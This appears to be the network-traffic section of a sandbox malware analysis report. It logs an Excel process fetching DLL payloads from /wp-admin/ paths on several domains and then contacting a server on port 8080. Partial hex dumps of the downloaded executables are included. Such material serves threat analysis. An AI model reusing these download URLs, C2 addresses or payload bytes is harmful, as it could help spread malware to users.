May 23, 2022 09:50:16.966444969 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966480017 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966485023 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966520071 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966520071 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966561079 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966567039 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966603041 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966604948 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966646910 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966653109 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966685057 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966690063 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966727972 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966736078 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966768026 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966772079 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966806889 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966824055 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966849089 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966880083 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966888905 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966892958 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966928959 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966933012 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.966969967 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.966974974 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.967008114 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.967012882 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.967046976 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.967051029 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.967087030 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.967089891 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.967123985 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.967130899 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.967164040 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.967165947 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.967201948 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.967205048 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.967241049 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.967245102 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.967283964 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.969223022 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:21.632632017 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:21.632802963 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:27.622185946 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:27.622497082 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:34.305088043 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:34.347640991 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:34.348690987 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:34.417876005 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:34.460535049 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:34.471276045 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:34.471318960 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:34.471422911 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:34.497895002 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:34.542361975 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:34.546514988 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.582777023 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.632564068 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.669539928 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:37.676570892 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:37.676815987 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.736614943 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.779522896 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:37.791050911 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:37.791090965 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:37.791254044 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.791327000 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.803088903 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.841494083 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:37.846841097 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:37.847788095 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:37.847944975 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:38.494793892 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:38.577752113 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:38.743412018 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:38.744263887 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:38.973982096 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:39.017025948 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:39.017321110 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:39.083676100 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:39.126523018 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:39.146867037 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:39.146920919 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:39.147300005 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:39.163862944 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:39.208808899 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:39.209141016 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:39.811961889 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:39.897854090 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:40.062218904 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:40.062314987 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:40.841779947 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:40.841824055 CEST	8080	49175	165.22.73.229	192.168.2.22
May 23, 2022 09:50:40.841844082 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:40.841881037 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:41.744347095 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:41.744386911 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:50:41.744554043 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:43.062465906 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:43.062486887 CEST	8080	49178	165.22.73.229	192.168.2.22
May 23, 2022 09:50:43.062546968 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:43.062608004 CEST	49178	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:47.942405939 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:47.986385107 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:47.986480951 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:48.040631056 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:48.084033012 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:48.095758915 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:48.095793962 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:48.095863104 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:48.095900059 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:48.107378960 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:48.151937008 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:48.152024984 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:48.866286039 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:48.949822903 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:49.116034031 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:49.117805004 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:50:52.116154909 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:52.116177082 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:50:52.116228104 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:52:01.764139891 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:52:01.764487028 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:52:01.764569044 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:52:01.764760971 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:52:02.086635113 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:52:02.088311911 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:52:02.195732117 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:52:02.336129904 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:52:02.695002079 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:52:02.695041895 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:52:02.866624117 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:52:03.459597111 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:52:03.896275997 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:52:03.896281004 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:52:04.192733049 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:52:05.721762896 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:52:06.345850945 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:52:06.348484039 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:52:06.844976902 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:52:10.214876890 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:52:11.151077986 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:52:11.154851913 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:52:12.133949041 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:52:19.185744047 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:52:20.761521101 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:52:20.761634111 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:52:22.727188110 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:52:24.040230036 CEST	49175	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:52:24.040267944 CEST	49175	8080	192.168.2.22	165.22.73.229

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 09:50:01.881863117 CEST	55868	53	192.168.2.22	8.8.8.8
May 23, 2022 09:50:02.273823977 CEST	53	55868	8.8.8.8	192.168.2.22
May 23, 2022 09:50:06.393023968 CEST	49688	53	192.168.2.22	8.8.8.8
May 23, 2022 09:50:06.421401978 CEST	53	49688	8.8.8.8	192.168.2.22
May 23, 2022 09:50:10.200681925 CEST	58836	53	192.168.2.22	8.8.8.8
May 23, 2022 09:50:10.369116068 CEST	53	58836	8.8.8.8	192.168.2.22
May 23, 2022 09:50:13.578142881 CEST	50134	53	192.168.2.22	8.8.8.8
May 23, 2022 09:50:13.687604904 CEST	53	50134	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 23, 2022 09:50:01.881863117 CEST	192.168.2.22	8.8.8.8	0xd04f	Standard query (0)	learnviaonline.com	A (IP address)	IN (0x0001)
May 23, 2022 09:50:06.393023968 CEST	192.168.2.22	8.8.8.8	0xff53	Standard query (0)	kolejleri.com	A (IP address)	IN (0x0001)
May 23, 2022 09:50:10.200681925 CEST	192.168.2.22	8.8.8.8	0x90dc	Standard query (0)	stainedglassexpress.com	A (IP address)	IN (0x0001)
May 23, 2022 09:50:13.578142881 CEST	192.168.2.22	8.8.8.8	0xa812	Standard query (0)	milanstaffing.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
May 23, 2022 09:50:02.273823977 CEST	8.8.8.8	192.168.2.22	0xd04f	No error (0)	learnviaonline.com	103.171.181.223	A (IP address)	IN (0x0001)
May 23, 2022 09:50:06.421401978 CEST	8.8.8.8	192.168.2.22	0xff53	No error (0)	kolejleri.com	85.114.142.153	A (IP address)	IN (0x0001)
May 23, 2022 09:50:10.369116068 CEST	8.8.8.8	192.168.2.22	0x90dc	No error (0)	stainedglassexpress.com	66.71.247.68	A (IP address)	IN (0x0001)
May 23, 2022 09:50:13.687604904 CEST	8.8.8.8	192.168.2.22	0xa812	No error (0)	milanstaffing.com	107.189.3.39	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

learnviaonline.com

kolejleri.com

stainedglassexpress.com

milanstaffing.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49171	103.171.181.223	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:50:02.445317984 CEST	2	OUT	GET /wp-admin/qGb/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: learnviaonline.com Connection: Keep-Alive
May 23, 2022 09:50:03.381975889 CEST	3	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:50:02 GMT Server: Apache Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:50:03 GMT Content-Disposition: attachment; filename="Jf8.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b3cab47229=1653292203; expires=Mon, 23-May-2022 07:51:03 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 07:50:03 GMT Content-Length: 371200 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEd{b" 5@P .text `.rdata4 @@.data7@.pdata@@.rsrc@@.reloc@B
May 23, 2022 09:50:03.382035017 CEST	5	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H\$Hl$Ht$WH0IHH
May 23, 2022 09:50:03.382078886 CEST	6	IN	Data Raw: c7 45 f4 27 4c 03 23 c7 45 f8 93 03 41 1d c7 45 fc 09 3a 50 74 c7 45 00 fe 27 4e 38 c7 45 04 31 3e 23 4a c7 45 08 b3 10 75 4a c7 45 0c 40 2c 3a 0c c7 45 10 f1 35 75 13 c7 45 14 50 06 0d 4b c7 45 18 ac 04 e3 73 c7 45 1c 08 23 20 80 c7 45 20 20 c1 Data Ascii: E'L#EAE:PtE'N8E1>#JEuJE@,:E5uEPKEsE# E )E$Ee&E(r#E,4XE0AE4pE8$ /E<@"/E@$ED 5.EHAELPEP"_ET<3EX39E\xE`]^Ed@Eh2('El -EpD\|_Et/1Ex{;E\|3
May 23, 2022 09:50:03.382119894 CEST	8	IN	Data Raw: 02 00 00 36 24 12 2d c7 85 38 02 00 00 ee 70 95 0c c7 85 3c 02 00 00 0c 52 02 90 c7 85 40 02 00 00 14 8e 07 3b c7 85 44 02 00 00 24 04 53 8a c7 85 48 02 00 00 13 f9 55 14 c7 85 4c 02 00 00 15 db 41 dc c7 85 50 02 00 00 a5 6c 4f 29 c7 85 54 02 00 Data Ascii: 6$-8p<R@;D$SHULAPlO)T'J:XA!\:-ZZ`'Npd%2[h0-RlAipN7#6tY&xV\|?-mDDCw_>zT
May 23, 2022 09:50:03.389375925 CEST	9	IN	Data Raw: 85 4c 04 00 00 64 1e ea 16 c7 85 50 04 00 00 88 48 ea da c7 85 54 04 00 00 c1 3e 74 54 c7 85 58 04 00 00 10 89 e4 c6 c7 85 5c 04 00 00 c3 d9 36 71 c7 85 60 04 00 00 51 17 b1 18 c7 85 64 04 00 00 9d 6c 68 36 c7 85 68 04 00 00 3b a8 23 ae c7 85 6c Data Ascii: LdPHT>tTX\6q`Qdlh6h;#l-p"mtHxd\|6uzJ\Ng(kjQCeMh5cjAkt}8#5
May 23, 2022 09:50:03.389420033 CEST	10	IN	Data Raw: 22 c7 85 64 06 00 00 e7 0c 61 dc c7 85 68 06 00 00 97 ff 9c 44 c7 85 6c 06 00 00 74 89 4a 4d c7 85 70 06 00 00 56 ba c7 30 c7 85 74 06 00 00 52 91 79 69 c7 85 78 06 00 00 b4 60 e6 4d c7 85 7c 06 00 00 eb 64 ea 05 c7 85 80 06 00 00 dc 57 24 42 c7 Data Ascii: "dahDltJMpV0tRyix`M\|dW$BxDt6rn&.5%Y\?0,'aPKxI)5JgWTQv}Np}3
May 23, 2022 09:50:03.389571905 CEST	12	IN	Data Raw: c4 12 48 c7 85 7c 08 00 00 d4 ec 01 5a c7 85 80 08 00 00 a6 af 70 56 c7 85 84 08 00 00 96 0c b5 91 c7 85 88 08 00 00 56 16 3f ae c7 85 8c 08 00 00 89 78 9c 98 c7 85 90 08 00 00 2e 3e a1 14 c7 85 94 08 00 00 77 82 20 4e c7 85 98 08 00 00 ad a3 6a Data Ascii: H\|ZpVV?x.>w NjI"WzA8#'4+kAkD}LhH#FUWM6\|jb(/N
May 23, 2022 09:50:03.389645100 CEST	13	IN	Data Raw: 98 16 c7 85 90 0a 00 00 da 7c 50 57 c7 85 94 0a 00 00 98 3f 36 8d c7 85 98 0a 00 00 59 fa 22 70 c7 85 9c 0a 00 00 10 d8 76 76 c7 85 a0 0a 00 00 2b 2b a3 ca c7 85 a4 0a 00 00 6f b4 28 52 c7 85 a8 0a 00 00 94 ac 67 7e c7 85 ac 0a 00 00 a8 00 a2 69 Data Ascii: \|PW?6Y"pvv++o(Rg~iC"syvA)3HuH"E3E3FH$A@A0H$L$HHHt3AH
May 23, 2022 09:50:03.389687061 CEST	15	IN	Data Raw: 07 33 c0 e9 a9 01 00 00 e8 5e 09 00 00 85 c0 75 0c e8 f5 54 00 00 33 c0 e9 94 01 00 00 e8 f9 53 00 00 ff 15 6b ec 01 00 48 89 05 9c b3 02 00 e8 77 52 00 00 48 89 05 d8 8f 02 00 e8 3b 42 00 00 85 c0 7d 11 e8 f2 09 00 00 e8 bd 54 00 00 33 c0 e9 5c Data Ascii: 3^uT3SkHwRH;B}T3\!L\|I\|3;tHT3)Y;sk\|$XuY=X~DPH=]u<eH`+TH\|$`u={{t
May 23, 2022 09:50:03.389728069 CEST	16	IN	Data Raw: 00 8b 40 48 89 44 24 30 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 88 00 00 00 8b 00 39 44 24 30 0f 83 b6 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 00 8b 44 01 04 48 39 44 24 68 0f 82 92 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c Data Ascii: @HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|uD$H3D$0HkH$DHD$xHD$pH$HL$8T$pD$H\|$H}3\|$H
May 23, 2022 09:50:03.538484097 CEST	18	IN	Data Raw: 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d 76 f7 01 00 48 89 88 a0 00 00 00 48 8b 44 24 30 c7 40 10 00 00 00 00 48 8b 44 24 30 c7 40 1c 01 00 00 00 48 8b 44 24 30 c7 80 c8 00 00 00 01 00 00 00 48 8b 44 24 30 c6 80 74 01 00 00 43 48 8b 44 24 30 c6 80 Data Ascii: H(HD$0HvHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/THD$0HL$8HHD$0HuHD$0H"xHHD$0HzT?TH(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49172	85.114.142.153	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:50:06.452677011 CEST	392	OUT	GET /wp-admin/REvup/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: kolejleri.com Connection: Keep-Alive
May 23, 2022 09:50:06.527494907 CEST	393	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 May 2022 07:50:06 GMT Content-Type: application/x-msdownload Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.29 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:50:06 GMT Content-Disposition: attachment; filename="4HWP0KQI.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b3cae78674=1653292206; expires=Mon, 23-May-2022 07:51:06 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 07:50:06 GMT Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec fd 09 7c 53 c5 f6 00 8e df a4 09 84 d2 92 00 2d 94 3d 40 81 22 5b 15 d4 22 54 53 2c 7a 2b 05 0b 02 56 45 2d b2 55 41 ad 90 40 55 40 6a 5a a5 86 6a 55 54 f4 b9 e0 8e 3b 4f 11 81 87 da 02 92 82 f8 44 dc d0 87 8a fb 8d 41 c5 95 ba 35 ff b3 cc dc 7b 73 93 a2 be f7 fd fd ff ff cf ff f3 e7 3d 9b 73 67 3d 73 e6 cc 99 33 33 67 ce 4c 3c b7 5e 49 51 14 c5 01 ff c5 62 8a b2 49 e1 7f 3e e5 cf ff 69 f0 5f 87 3e 5b 3a 28 1b da bd d6 77 93 ad f8 b5 be 53 cb 2f 5e e4 ad 58 78 f9 bc 85 33 2f f5 ce 9a 79 d9 65 97 fb bd 17 cd f1 2e 0c 5c e6 bd f8 32 6f e1 99 67 79 2f bd 7c f6 9c e1 e9 e9 a9 d9 a2 8c 3b 9f 6b 9b f7 c1 be 8b e7 cb ff 9e 7d 68 fb fc 20 fd 1e 99 ff 2e fc be f5 f8 af f3 df a7 b8 f2 f9 d5 14 be 6d fe cf f4 fb fd fc 03 f4 fb 83 f8 fd 91 7e a7 5c 3c ab 1c cb b1 e2 5a 32 5e 51 66 5f d7 46 f9 e9 ea eb 2f 92 61 87 95 7e de f6 f6 54 68 bc 5d 51 1e 48 a1 b0 15 c7 c3 1f 0f 83 36 45 c0 10 ed c4 3f 8a f1 ab 28 6d 88 68 e1 5e 6d 20 c4 67 93 99 e4 4f e2 37 83 eb 1f b7 2b d5 f0 fb d9 fd 76 a5 84 42 53 94 df 23 50 e6 61 bb b2 c7 6d 42 f8 b0 53 59 6d 57 fe fe 3f af 5d 59 73 94 7c c3 fd 73 2a fd f0 fb 6b 8a 9d 11 c2 b6 3b 2c 45 28 4a d9 f0 85 b3 67 fa 67 2a ca a8 10 97 a9 ac 82 5f 57 7c c1 3e f8 ff 70 4e a6 ac 39 11 1b 07 f1 19 f0 bb 3a 21 5d c3 f0 0a 4e 48 6d 3c 2c ea 5e 97 a4 bc 85 8b 16 ce 02 98 68 